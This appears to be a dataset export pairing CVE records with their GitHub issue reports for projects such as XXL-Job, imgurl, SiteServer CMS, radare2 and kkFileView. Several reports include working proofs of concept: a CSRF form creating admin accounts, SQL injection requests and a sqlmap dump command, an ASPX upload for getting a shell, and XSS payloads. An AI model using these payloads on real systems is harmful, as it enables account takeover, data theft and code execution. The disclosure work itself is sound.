| Heap-buffer-overflow in copy_bytes in decode_r2007.c:228 | https://api.github.com/repos/LibreDWG/libredwg/issues/350/comments | 1 | 2021-06-07T07:46:30Z | 2021-06-07T18:57:04Z | https://github.com/LibreDWG/libredwg/issues/350 | 913,233,568 | 350 | 3,633 |
CVE-2022-29002 | 2022-05-23T21:16:04.963 | A Cross-Site Request Forgery (CSRF) in XXL-Job v2.3.0 allows attackers to arbitrarily create administrator accounts via the component /gaia-job-admin/user/add. | {
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"xuxueli",
"xxl-job"
] | /gaia-job-admin/user/add is an interface for adding users and giving users permissions. This interface has CSRF vulnerability
POC：
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://7.186.23.6:8080/xxl-job-admin/user/add" method="POST">
<input type="hidden" name="username" value="h00279311" />
<input type="hidden" name="password" value="123456" />
<input type="hidden" name="role" value="1" />
<input type="hidden" name="permission" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
After clicking, the administrator role has been added
| xxl-job-admin v2.3.0 has a CSRF vulnerability, which can be used to create an administrator account、Modify password, perform task scheduling and other operations | https://api.github.com/repos/xuxueli/xxl-job/issues/2821/comments | 0 | 2022-04-08T10:02:07Z | 2022-04-08T10:24:04Z | https://github.com/xuxueli/xxl-job/issues/2821 | 1,197,113,705 | 2,821 | 3,634 |
CVE-2022-29305 | 2022-05-24T03:15:09.213 | imgurl v2.31 was discovered to contain a Blind SQL injection vulnerability via /upload/localhost. | {
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] | 89 | https://github.com/helloxz/imgurl/issues/75 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"helloxz",
"imgurl"
] | # Description （漏洞描述）
imgurl v2.31
Multiple ways are used to obtain user ip （使用了多种方法获取用户ip）
Then splice the user ip directly into the sql statement in lines 44 to 58 of upload.php（在upload.php的44到58行中，直接将ip拼接到了sql语句中）
query->uplimit($ip)
# Proof of Concept
```http
GET /upload/localhost HTTP/1.1
Host: host.local
Cookie: XSRF-TOKEN=[Your_XSRF-TOKEN];
x-forwarded-for: ' union select case(2>1)when(1)then(10)else(0)end order by num desc--
Connection: close
```
Command for injection using sqlmap
```bash
python3 sqlmap.py -r http.txt --prefix="' union select case((1=1) and " --suffix=")when(1)then(10)else(0)end order by num desc-- " -level 3 -risk 3 --dbms sqlite -technique=B --text-only -T img_options -D values --dump
```
# Repair method （修复方法）
Check user ip format or use PDO to prevent sql injection （检查用户ip格式或使用PDO来防止sql注入） | Blind SQL Injection Vulnerability | https://api.github.com/repos/helloxz/imgurl/issues/75/comments | 1 | 2022-04-11T09:19:12Z | 2023-03-03T11:28:39Z | https://github.com/helloxz/imgurl/issues/75 | 1,199,669,582 | 75 | 3,635 |
CVE-2022-29309 | 2022-05-24T03:15:09.257 | mysiteforme v2.2.1 was discovered to contain a Server-Side Request Forgery. | {
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"vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
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"918"
] | 918 | https://github.com/wangl1989/mysiteforme/issues/43 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"wangl1989",
"mysiteforme"
] | The problem code
Controllable URL parameters
Vulnerability validation
The DNS platform received the request. Procedure
| An SSRF vulnerability exists in the system | https://api.github.com/repos/wangl1989/mysiteforme/issues/43/comments | 0 | 2022-04-06T12:00:25Z | 2022-04-06T12:00:25Z | https://github.com/wangl1989/mysiteforme/issues/43 | 1,194,511,528 | 43 | 3,636 |
CVE-2021-42654 | 2022-05-24T13:15:07.543 | SiteServer CMS < V5.1 is affected by an unrestricted upload of a file with dangerous type (getshell), which could be used to execute arbitrary code. | {
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] | 434 | https://github.com/siteserver/cms/issues/3236 | [
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"siteserver",
"cms"
] | 测试的版本:https://github.com/siteserver/cms/releases/download/siteserver-dev-v5.0.92/siteserver_install.zip
SiteServer:v5.1
测试环境：windows 2012 R2
数据库 sql server 2016
漏洞url:/api/stl/actions/upload/1?type=GovPublicApply
(测试过程中，不需要修改程序任何系统配置)
包体
`POST /api/stl/actions/upload/1?type=GovPublicApply HTTP/1.1
Host: 192.168.39.3:8099
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X_Requested_With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------307288271314916491681521187278
Content-Length: 903
Origin: http://192.168.39.3:8099
Connection: close
-----------------------------307288271314916491681521187278
Content-Disposition: form-data; name="id"
WU_FILE_0
-----------------------------307288271314916491681521187278
Content-Disposition: form-data; name="name"
111.png
-----------------------------307288271314916491681521187278
Content-Disposition: form-data; name="type"
image/png
-----------------------------307288271314916491681521187278
Content-Disposition: form-data; name="lastModifiedDate"
2021/10/15 上午10:47:51
-----------------------------307288271314916491681521187278
Content-Disposition: form-data; name="size"
5720
-----------------------------307288271314916491681521187278
Content-Disposition: form-data; name="upfile"; filename="111.aasspx"
Content-Type: image/png
<%@ Page Language="C#"%>
<% Response.Write("hello,world"); %>
-----------------------------307288271314916491681521187278--`
生成的aspx文件名是时间戳相关，黑盒测试需要通过暴力猜解可以获取到。
| 未授权任意文件上传getshell | https://api.github.com/repos/siteserver/cms/issues/3236/comments | 0 | 2021-10-15T06:58:25Z | 2021-10-15T07:13:18Z | https://github.com/siteserver/cms/issues/3236 | 1,027,139,078 | 3,236 | 3,637 |
CVE-2021-42655 | 2022-05-24T13:15:07.593 | SiteServer CMS V6.15.51 is affected by a SQL injection vulnerability. | {
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] | 89 | https://github.com/siteserver/cms/issues/3237 | [
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] | github.com | [
"siteserver",
"cms"
] | 测试的版本:https://github.com/siteserver/cms/releases/download/siteserver-v6.15.51/siteserver_install.zip
SiteServer: V6.15.51
测试环境：windows 2012 R2
数据库 sql server 2016
漏洞url:/api/pages/cms/libraryText/list
(需要登录测试)
包体
`POST /api/pages/cms/libraryText/list HTTP/1.1
Host: 192.168.39.3:8055
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 87
Origin: http://192.168.39.3:8055
Connection: close
Referer: http://192.168.39.3:8055/SiteServer/cms/libraryText.cshtml?siteId=1
Cookie: BAIRONG.VC.ADMINLOGIN=oeLExOp9UBM0equals0; ss_administrator_access_token=M3ENIa3NKJJ39JCRHnY4PgfJqMC7lFjggL0e9S06Bs9ubZE90add0xM2aesaL0add0Cxo8Xe5VZrSanerzFU8oZaMXCC9KMxdw29fLk6uNSSoY4Pa0add0BOZfzRwKT2t3LglumO4sTUKSz0slash0ubJ9QajCyTsKpmbPu7yv20add08zpsQyVPpl3TuMITkOCIX1EwcC7CeIJ50slash0XQ9d0slash0oR8ECV0add0690add0eXRHbEImnZsLBsrhv7KML0Jhuevbhvcjs0equals0; ASP.NET_SessionId=l3tothqgmzbgljaogh1uof3y; SS-ADMIN-TOKEN=z69iWbk6QAgWtUmPiJBXDd7vXmikE7IMRbVWfh0add00xyMUHXn13zDSbfJyodBLcAQuP9kU0slash0F7SybZwZUK7ER9csWj0ODr7NgSqXfVWABfJpKMXGuT2wQudsXkhDU9JMvsrkNIPV5cKDS0UUwsItxWt94dwYeCgnKabl82uiN53cZg92iNHdF5LlWO0add0JnX0add0Vqb0XIViYPb4l3CUTpPq0add0bKGxRk56DSZLeLh9qV0jIhotDI0equals00secret0; SS-LOGIN-CAPTCHA=pyXvigbttyM0equals00secret0
Cache-Control: max-age=0
{"siteId":1,"keyword":"' and 1=(select @@version)--","groupId":0,"page":1,"perPage":24}`
| SQL 注入 | https://api.github.com/repos/siteserver/cms/issues/3237/comments | 0 | 2021-10-15T08:03:37Z | 2021-10-15T08:03:37Z | https://github.com/siteserver/cms/issues/3237 | 1,027,187,265 | 3,237 | 3,638 |
CVE-2021-42656 | 2022-05-24T13:15:07.637 | SiteServer CMS V6.15.51 is affected by a Cross Site Scripting (XSS) vulnerability. | {
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"availabilityImpact": "NONE",
"baseScore": 3.5,
"confidentialityImpact": "NONE",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N",
"version": "2.0"
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"exploitabilityScore": 6.8,
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] | 测试的版本:https://github.com/siteserver/cms/releases/download/siteserver-v6.15.51/siteserver_install.zip
SiteServer: V6.15.51
测试环境：windows 2012 R2
数据库 sql server 2016
(需要登录测试)
漏洞url:/SiteServer/cms/modalRelatedFieldItemEdit.aspx?siteId=1&RelatedFieldID=1&ParentID=0&Level=1&ID=1
包体
`POST /SiteServer/cms/modalRelatedFieldItemEdit.aspx?siteId=1&RelatedFieldID=1&ParentID=0&Level=1&ID=1 HTTP/1.1
Host: 192.168.39.3:8055
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 304
Origin: http://192.168.39.3:8055
Connection: close
Referer: http://192.168.39.3:8055/SiteServer/cms/modalRelatedFieldItemEdit.aspx?siteId=1&RelatedFieldID=1&ParentID=0&Level=1&ID=1
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Upgrade-Insecure-Requests: 1
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=MVZqB4shzUeYHIX5zAuRZJJbL8r72A7Evx94mUbTTNpGbOwWBZkeb79FVsI2zTj0PlNYIzK%2BpEzx3SRf96HflbXA8nFVIpCU16GBIeWZSq4vLCZLjX0CoHWGwnxNyQzo&__VIEWSTATEGENERATOR=4DCED64B&TbItemName=%3Csvg+onload%3Dalert%28document.domain%29%3E&TbItemValue=2222&ctl04=%E7%A1%AE+%E5%AE%9A`
| 跨站脚本攻击(xss) | https://api.github.com/repos/siteserver/cms/issues/3238/comments | 0 | 2021-10-15T08:38:50Z | 2021-10-15T08:38:50Z | https://github.com/siteserver/cms/issues/3238 | 1,027,215,849 | 3,238 | 3,639 |
CVE-2021-44975 | 2022-05-24T15:15:07.507 | radareorg radare2 5.5.2 is vulnerable to Buffer Overflow via /libr/core/anal_objc.c mach-o parser. | {
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"radareorg",
"radare2"
] | # Heap Buffer overflows in objc_build_refs
I have discovered two heap buffer
overflows while parsing mach-o executables.
Please refer bellow for further information.
## Environment
```sh
shad3@ubuntu:~/Desktop/$ uname -ms
Linux x86_64
shad3@ubuntu:~/Desktop/$ r2 -v
radare2 5.5.2 27243 @ linux-x86-64 git.5.5.0
commit: 79effabdf5db431e40ea2aafc7f322ca32edb876 build: 2021-12-07__12:18:24
shad3@ubuntu:~/Desktop/$ date
Tue Dec 7 14:07:20 PST 2021
```
## ASAN
Stack Trace from an ASAN build while triggering the firs bug
```
=================================================================
==91945==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6250004cb6a8 at pc 0x7f29c4016d1a bp 0x7ffe0c8bf8b0 sp 0x7ffe0c8bf058
WRITE of size 9896288 at 0x6250004cb6a8 thread T0
#0 0x7f29c4016d19 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5ed19)
#1 0x7f29c08c3157 in r_io_vread_at /home/shad3/Desktop/radare2/libr/io/io.c:203
#2 0x7f29c08c33ec in internal_r_io_read_at /home/shad3/Desktop/radare2/libr/io/io.c:226
#3 0x7f29c08c36b6 in r_io_read_at /home/shad3/Desktop/radare2/libr/io/io.c:264
#4 0x7f29b99bf27b in objc_build_refs /home/shad3/Desktop/radare2/libr/core/anal_objc.c:150
#5 0x7f29b99c0143 in objc_find_refs /home/shad3/Desktop/radare2/libr/core/anal_objc.c:231
#6 0x7f29b99c14b5 in cmd_anal_objc /home/shad3/Desktop/radare2/libr/core/anal_objc.c:329
#7 0x7f29b95fa8f0 in cmd_anal_all /home/shad3/Desktop/radare2/libr/core/cmd_anal.c:10595
#8 0x7f29b9603d85 in cmd_anal /home/shad3/Desktop/radare2/libr/core/cmd_anal.c:11639
#9 0x7f29b9828c92 in r_cmd_call /home/shad3/Desktop/radare2/libr/core/cmd_api.c:537
#10 0x7f29b96fbea3 in r_core_cmd_subst_i /home/shad3/Desktop/radare2/libr/core/cmd.c:4392
#11 0x7f29b96ef27b in r_core_cmd_subst /home/shad3/Desktop/radare2/libr/core/cmd.c:3279
#12 0x7f29b9705da6 in run_cmd_depth /home/shad3/Desktop/radare2/libr/core/cmd.c:5279
#13 0x7f29b9706add in r_core_cmd /home/shad3/Desktop/radare2/libr/core/cmd.c:5362
#14 0x7f29b9707883 in r_core_cmd0 /home/shad3/Desktop/radare2/libr/core/cmd.c:5519
#15 0x7f29c3151748 in r_main_radare2 /home/shad3/Desktop/radare2/libr/main/radare2.c:1390
#16 0x560128934b4e in main /home/shad3/Desktop/radare2/binr/radare2/radare2.c:96
#17 0x7f29c1fc8bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#18 0x560128934579 in _start (/home/shad3/Desktop/radare2/binr/radare2/radare2+0x1579)
0x6250004cb6a8 is located 0 bytes to the right of 9640-byte region [0x6250004c9100,0x6250004cb6a8)
allocated by thread T0 here:
#0 0x7f29c4096d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
#1 0x7f29b99bf0a6 in objc_build_refs /home/shad3/Desktop/radare2/libr/core/anal_objc.c:145
#2 0x7f29b99c0143 in objc_find_refs /home/shad3/Desktop/radare2/libr/core/anal_objc.c:231
#3 0x7f29b99c14b5 in cmd_anal_objc /home/shad3/Desktop/radare2/libr/core/anal_objc.c:329
#4 0x7f29b95fa8f0 in cmd_anal_all /home/shad3/Desktop/radare2/libr/core/cmd_anal.c:10595
#5 0x7f29b9603d85 in cmd_anal /home/shad3/Desktop/radare2/libr/core/cmd_anal.c:11639
#6 0x7f29b9828c92 in r_cmd_call /home/shad3/Desktop/radare2/libr/core/cmd_api.c:537
#7 0x7f29b96fbea3 in r_core_cmd_subst_i /home/shad3/Desktop/radare2/libr/core/cmd.c:4392
#8 0x7f29b96ef27b in r_core_cmd_subst /home/shad3/Desktop/radare2/libr/core/cmd.c:3279
#9 0x7f29b9705da6 in run_cmd_depth /home/shad3/Desktop/radare2/libr/core/cmd.c:5279
#10 0x7f29b9706add in r_core_cmd /home/shad3/Desktop/radare2/libr/core/cmd.c:5362
#11 0x7f29b9707883 in r_core_cmd0 /home/shad3/Desktop/radare2/libr/core/cmd.c:5519
#12 0x7f29c3151748 in r_main_radare2 /home/shad3/Desktop/radare2/libr/main/radare2.c:1390
#13 0x560128934b4e in main /home/shad3/Desktop/radare2/binr/radare2/radare2.c:96
#14 0x7f29c1fc8bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5ed19)
Shadow bytes around the buggy address:
0x0c4a80091680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a80091690: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a800916a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a800916b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a800916c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c4a800916d0: 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa
0x0c4a800916e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4a800916f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4a80091700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4a80091710: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4a80091720: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==91945==ABORTING
````
## Explanation of the vulnerabilities
The vulnerability lies in the ``objc_build_refs`` function that
is responsible of building the references of a mach-o file as its name
suggests.
The function can be found out at:
```
/radare2/libr/core/anal_objc.c
```
Please consider the following code
bellow which has been simplified for readability:
```c
static bool objc_build_refs(RCoreObjc *objc) {
...
size_t ss_selrefs = objc->_selrefs->vsize;
size_t maxsize = R_MAX (ss_const, ss_selrefs); // 1a
maxsize = R_MIN (maxsize, objc->file_size); // 1b
ut8 *buf = calloc (1, maxsize); // 2
if (!buf) {
return false;
}
...
if (!r_io_read_at (objc->core->io, va_selrefs, buf, ss_selrefs)) { // 3
eprintf ("aao: Cannot read the whole selrefs section\n");
return false;
}
...
free (buf);
return true;
}
```
At points ``1a`` and ``1b`` theres an attempt to sanitize the ``ss_selrefs``
variable as it has to be done. Based on the return value of the two macros
which is stored in the ``maxsize`` variable* an internal buffer of the function
is allocated, here called ``buf``. At point 3 there's a read operation perfomed
to the buffer based on the __unsanitized__ ``ss_selfrefs`` variable instead of the
``maxsize`` one. In case where the ``ss_selrefs`` is greater than the ``maxsize``
variable this read operation results in a heap buffer overflow.
The same vulnerability exists on the other read operation performed in the same function.
Which also results in a heap buffer overflow.
```c
size_t ss_const = objc->_const->vsize;
....
if (!r_io_read_at (objc->core->io, objc->_const->vaddr, buf, ss_const)) {
eprintf ("aao: Cannot read the whole const section %zu\n", ss_const);
return false;
}
```
PS: ``maxsize`` seems like an obscure name for that variable, it might
be better to consider changing that, unless there's a specific reason.
## Proposed fixes
The ``r_io_read_at`` functions to be to be called with the variable
``maxsize`` instead of the ``ss_selrefs`` and ``ss_const`` as an argument.
## Notes
- Please check the attached binary that crashes
the radare2 binary and reproduces the first vulnerability
by running the following command e.g. in an ASAN build
``r2 -qq -AA crash``
- I would highly appreciate if these bugs qualify for
CVEs to request them for me.
| Heap buffer overflows in function objc_build_refs while parsing mach-o files. | https://api.github.com/repos/radareorg/radare2/issues/19476/comments | 2 | 2021-12-07T21:05:25Z | 2022-05-24T13:41:14Z | https://github.com/radareorg/radare2/issues/19476 | 1,073,754,519 | 19,476 | 3,640 |
CVE-2021-4229 | 2022-05-24T16:15:07.680 | A vulnerability was found in ua-parser-js 0.7.29/0.8.0/1.0.0. It has been rated as critical. This issue affects the crypto mining component which introduces a backdoor. Upgrading to version 0.7.30, 0.8.1 and 1.0.1 is able to address this issue. It is recommended to upgrade the affected component. | {
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"829"
] | 829 | https://github.com/faisalman/ua-parser-js/issues/536 | [
"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"faisalman",
"ua-parser-js"
] | Hi!
See a warning at npm - https://www.npmjs.com/package/ua-parser-js - `This package has been hijacked. Please revert to 0.7.28`
First question - Can we use range `^0.7.28`, or it is not safe?
Second question - Will you create a new package, or try to remove hijacked versions and continue update this package? | Security issue: compromised npm packages of ua-parser-js (0.7.29, 0.8.0, 1.0.0) - Questions about deprecated npm package ua-parser-js | https://api.github.com/repos/faisalman/ua-parser-js/issues/536/comments | 187 | 2021-10-22T13:46:48Z | 2024-11-07T22:35:51Z | https://github.com/faisalman/ua-parser-js/issues/536 | 1,033,602,182 | 536 | 3,641 |
CVE-2022-29334 | 2022-05-24T22:15:10.073 | An issue in H v1.0 allows attackers to bypass authentication via a session replay attack. | {
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] | github.com | [
"SiJiDo",
"H"
] | 1. Set up a successful H system environment locally, log in with the administrator, and use burpsuite to obtain the administrator's cookie
在本地搭建成功H系统环境，使用管理员登录后，使用burpsuite获取到管理员的cookie
2. Find the target_ip where the H system is installed on the Internet, and visit http://target_ip:5005/index. The result is as follows:
在互联网上查找安装H系统的target_ip，访问http://target_ip:5005/index ，结果如图：
3. Use burpsuite to intercept the request packet of http://target_ip:5005/index, and modify the cookie in the request packet to the cookie obtained locally in step 1
使用burpsuite拦截http://target_ip:5005/index的请求包，修改请求包中的cookie为第1步中本地获得的cookie
The response interface is as follows (you can log in successfully)
响应界面如下所示（即可成功登录）
| Fixed cookie directing admin to unauthorized login（固定的cookie导致管理员未授权登录） | https://api.github.com/repos/SiJiDo/H/issues/27/comments | 1 | 2022-04-11T05:03:53Z | 2022-04-11T06:18:36Z | https://github.com/SiJiDo/H/issues/27 | 1,199,396,005 | 27 | 3,642 |
CVE-2022-29349 | 2022-05-25T01:15:07.113 | kkFileView v4.0.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the url parameter at /controller/OnlinePreviewController.java. | {
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] | github.com | [
"kekingcn",
"kkFileView"
] | ### kkFileView XSS Vulnerability
#### 问题描述Description
kkFileview v4.0.0存在XSS漏洞，可能导致网站cookies泄露。
kkFileview v4.0.0 has an XSS vulnerability, which may lead to the leakage of website cookies.
#### 漏洞位置vulerable code location
`kkFileView/server/src/main/java/cn/keking/web/controller/OnlinePreviewController.java`文件59行，url参数用户可控，且没有过滤特殊字符就输出到了页面
The vulnerability code is located at line 59 in `kkFileView/server/src/main/java/cn/keking/web/controller/OnlinePreviewController.java` , The url parameter is user-controllable, and it is output to the page without filtering special characters
``` @RequestMapping(value = "/onlinePreview")
public String onlinePreview(String url, Model model, HttpServletRequest req) {
String fileUrl;
try {
fileUrl = new String(Base64.decodeBase64(url), StandardCharsets.UTF_8);
} catch (Exception ex) {
String errorMsg = String.format(BASE64_DECODE_ERROR_MSG, "url");
return otherFilePreview.notSupportedFile(model, errorMsg);
}
if (!allowPreview(fileUrl)) {
return otherFilePreview.notSupportedFile(model, "该文件不允许预览：" + fileUrl);
}
FileAttribute fileAttribute = fileHandlerService.getFileAttribute(fileUrl, req);
model.addAttribute("file", fileAttribute);
FilePreview filePreview = previewFactory.get(fileAttribute);
logger.info("预览文件url：{}，previewType：{}", fileUrl, fileAttribute.getType());
return filePreview.filePreviewHandle(fileUrl, model, fileAttribute);
}
```
#### 漏洞证明PoC
官方演示站点为最新4.0.0版本，以此为演示，访问漏洞位置（url参数值需要经过base64编码和url编码）:
https://file.keking.cn/onlinePreview?url=aHR0cDovL3d3dy54eHguY29tL3h4eC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPjEyMw%3D%3D
The version of official demo site is v4.0.0. Visit https://file.keking.cn/onlinePreview?url=aHR0cDovL3d3dy54eHguY29tL3h4eC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPjEyMw%3D%3D and the concept is proofed. (The url parameter value needs to be base64 encoded and url encoded.)
| XSS Vulnerability | https://api.github.com/repos/kekingcn/kkFileView/issues/347/comments | 0 | 2022-04-13T08:37:22Z | 2022-04-13T08:37:22Z | https://github.com/kekingcn/kkFileView/issues/347 | 1,202,956,469 | 347 | 3,643 |
CVE-2022-29358 | 2022-05-25T01:15:07.170 | epub2txt2 v2.04 was discovered to contain an integer overflow via the function bug in _parse_special_tag at sxmlc.c. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted XML file. | {
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] | 190 | https://github.com/kevinboone/epub2txt2/issues/22 | [
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] | github.com | [
"kevinboone",
"epub2txt2"
] | Hi, there is a integer overflow bug in _parse_special_tag function, sxmlc.c.
https://github.com/kevinboone/epub2txt2/blob/02f69e6243d6c96f78da45fb710a265e5aee2fb5/src/sxmlc.c#L1203-L1219
It passes ((len - tag->len_start - tag->len_end + 1)*sizeof(SXML_CHAR)) as a parameter to malloc function.
If (len - tag->len_start - tag->len_end) == -1, then (len - tag->len_start - tag->len_end + 1) == 0.
It is legal to use 0 as an argument to the malloc function, and it will return the address of a small heap successfully.
However, in line 1214, it passes (len - tag->len_start - tag->len_end) as a parameter to strncpy function.
-1 will be coerced to an unsigned integer: 0xffffffffffffffff. It is a huge size and will make the program crashed.
poc:
[poc.zip](https://github.com/kevinboone/epub2txt2/files/8482640/poc.zip)
To reproduce:
```
$ wget https://github.com/kevinboone/epub2txt2/files/8482640/poc.zip
......
$ unzip poc.zip
Archive: poc.zip
inflating: poc
$ ls
epub2txt poc poc.zip
$ ./epub2txt --version
epub2txt version 2.04
Copyright (c)2013-2022 Kevin Boone and contributors
Distributed under the terms of the GNU Public Licence, v3.0
$ ./epub2txt poc
/tmp/epub2txt5552/OPS/epb.opf bad CRC cb87c959 (should be 0192f2f4)
Segmentation fault (core dumped)
```
The epub2txt is built with:
```
git clone https://github.com/kevinboone/epub2txt2 && cd epub2txt2
make && sudo make install
```
Tested on: Ubuntu 20.04 | Integer overflow bug in _parse_special_tag function, sxmlc.c | https://api.github.com/repos/kevinboone/epub2txt2/issues/22/comments | 2 | 2022-04-13T15:29:55Z | 2022-04-14T15:41:31Z | https://github.com/kevinboone/epub2txt2/issues/22 | 1,203,463,695 | 22 | 3,644 |
CVE-2022-29361 | 2022-05-25T01:15:07.277 | Improper parsing of HTTP requests in Pallets Werkzeug v2.1.0 and below allows attackers to perform HTTP Request Smuggling using a crafted HTTP request with multiple requests included inside the body. NOTE: the vendor's position is that this behavior can only occur in unsupported configurations involving development mode and an HTTP server from outside the Werkzeug project | {
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"pallets",
"werkzeug"
] | I have a question regarding the HTTP request smuggling vulnerability [CVE-2022-29361](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29361) in werkzeug.
The resources provided at mitre seem not to be pointing to a fix. I tried to find a fix but was unsuccessful.
Would it be possible for you to link to a fixing commit or provide a security advisory here? Thanks a lot!
| Question regarding CVE-2022-29361 | https://api.github.com/repos/pallets/werkzeug/issues/2420/comments | 3 | 2022-05-25T14:07:43Z | 2022-06-09T00:23:13Z | https://github.com/pallets/werkzeug/issues/2420 | 1,248,156,177 | 2,420 | 3,645 |
CVE-2022-29362 | 2022-05-25T01:15:07.320 | A cross-site scripting (XSS) vulnerability in /navigation/create?ParentID=%23 of ZKEACMS v3.5.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the ParentID parameter. | {
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"SeriaWei",
"ZKEACMS"
] | **Reproduction process**
1.Log in to the back office,Click on the background navigation function.
2.Click the Add Navigation button,Insert xss payload in the header,As shown below.
3.Then click save and go back to the front page of the cms to trigger the xss vulnerability.
**Restoration suggestions**
1.Backend filters input for pointed brackets.
2.Frontend uses html entity coding output.
| There is XSS vulnerability that can be able to obtain sensitive user information in the foreground | https://api.github.com/repos/SeriaWei/ZKEACMS/issues/457/comments | 1 | 2022-04-12T02:13:12Z | 2022-05-02T03:37:27Z | https://github.com/SeriaWei/ZKEACMS/issues/457 | 1,200,827,880 | 457 | 3,646 |
CVE-2021-44974 | 2022-05-25T12:15:07.997 | radareorg radare2 version 5.5.2 is vulnerable to NULL Pointer Dereference via libr/bin/p/bin_symbols.c binary symbol parser. | {
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] | github.com | [
"radareorg",
"radare2"
] | # NULL pointer dereference in ``symbols()``
I have discovered a NULL / Invalid pointer dereference
bug, that gets triggered while parsing the symbols of a binary.
## Environment
```
shad3@ubuntu:~/Desktop/$ uname -ms
Linux x86_64
shad3@ubuntu:~/Desktop/$ r2 -v
radare2 5.5.2 27243 @ linux-x86-64 git.5.5.0
commit: 79effabdf5db431e40ea2aafc7f322ca32edb876 build: 2021-12-07__12:18:24
shad3@ubuntu:~/Desktop/$ date
Tue Dec 7 14:07:20 PST 2021
```
## ASAN
Stack Trace from an ASAN build while triggering the bug
```
ASAN:DEADLYSIGNAL
=================================================================
==128487==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fbb0d3f2db3 bp 0x7ffd0bd70d50 sp 0x7ffd0bd70cf0 T0)
==128487==The signal is caused by a READ memory access.
==128487==Hint: address points to the zero page.
#0 0x7fbb0d3f2db2 in symbols /home/shad3/Desktop/radare2/libr/..//libr/bin/p/bin_symbols.c:372
#1 0x7fbb0d2bc308 in r_bin_object_set_items /home/shad3/Desktop/radare2/libr/bin/bobj.c:325
#2 0x7fbb0d2bb9c0 in r_bin_object_new /home/shad3/Desktop/radare2/libr/bin/bobj.c:168
#3 0x7fbb0d2b9231 in r_bin_file_new_from_buffer /home/shad3/Desktop/radare2/libr/bin/bfile.c:560
#4 0x7fbb0d2a9558 in r_bin_open_buf /home/shad3/Desktop/radare2/libr/bin/bin.c:286
#5 0x7fbb0d2a9850 in r_bin_open_io /home/shad3/Desktop/radare2/libr/bin/bin.c:346
#6 0x7fbb0dc5f0fc in r_core_file_do_load_for_io_plugin /home/shad3/Desktop/radare2/libr/core/cfile.c:434
#7 0x7fbb0dc5faa8 in r_core_bin_load /home/shad3/Desktop/radare2/libr/core/cfile.c:635
#8 0x7fbb1187f0b8 in r_main_radare2 /home/shad3/Desktop/radare2/libr/main/radare2.c:1176
#9 0x561b2af7db4e in main /home/shad3/Desktop/radare2/binr/radare2/radare2.c:96
#10 0x7fbb1076dbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#11 0x561b2af7d579 in _start (/home/shad3/Desktop/validcrashes/radare2-asan/binr/radare2/radare2+0x1579)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/shad3/Desktop/radare2/libr/..//libr/bin/p/bin_symbols.c:372 in symbols
